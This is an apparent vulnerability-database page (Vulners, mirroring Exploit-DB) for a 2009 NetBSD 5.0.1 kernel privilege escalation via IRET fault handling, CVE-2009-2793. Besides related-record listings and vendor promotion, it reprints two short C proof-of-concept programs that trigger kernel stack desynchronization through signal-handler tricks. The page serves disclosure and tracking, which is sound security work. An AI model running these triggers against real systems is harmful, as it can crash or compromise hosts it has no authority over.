Lucene search
+L

NetBSD 5.0.1 - 'IRET' General Protection Fault Handling Privilege Escalation

🗓️ 16 Sep 2009 00:00:00Reported by Tavis OrmandyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

NetBSD 5.0.1 'IRET' privilege escalation via kernel stack desynchronizatio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-2793
16 Sep 200900:00
circl
cve
CVE
CVE-2009-2793
18 Sep 200922:00
cve
cvelist
Cvelist
CVE-2009-2793
18 Sep 200922:00
cvelist
euvd
EUVD
EUVD-2009-2783
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-2793
18 Sep 200922:30
nvd
prion
Prion
Code injection
18 Sep 200922:30
prion
seebug
seebug.org
NetBSD IRET通用保护错误处理本地权限提升漏洞
18 Sep 200900:00
seebug
/*
source: https://www.securityfocus.com/bid/36430/info

NetBSD is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks.
*/

/* ... */
int main(int argc, char **argv)
{
  jmp_buf env;

  void handlesig(int n) {
        longjmp(env, 1);

  }
  signal(SIGSEGV, handlesig);

  if (setjmp(env) == 0) {
        ( (void(*)(void)) NULL) ();
  }

  return 0;
}

/* ... */
int main(int argc, char **argv)
{
       char baguette;
       signal(SIGABRT, (void (*)(int))&baguette);
       abort();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation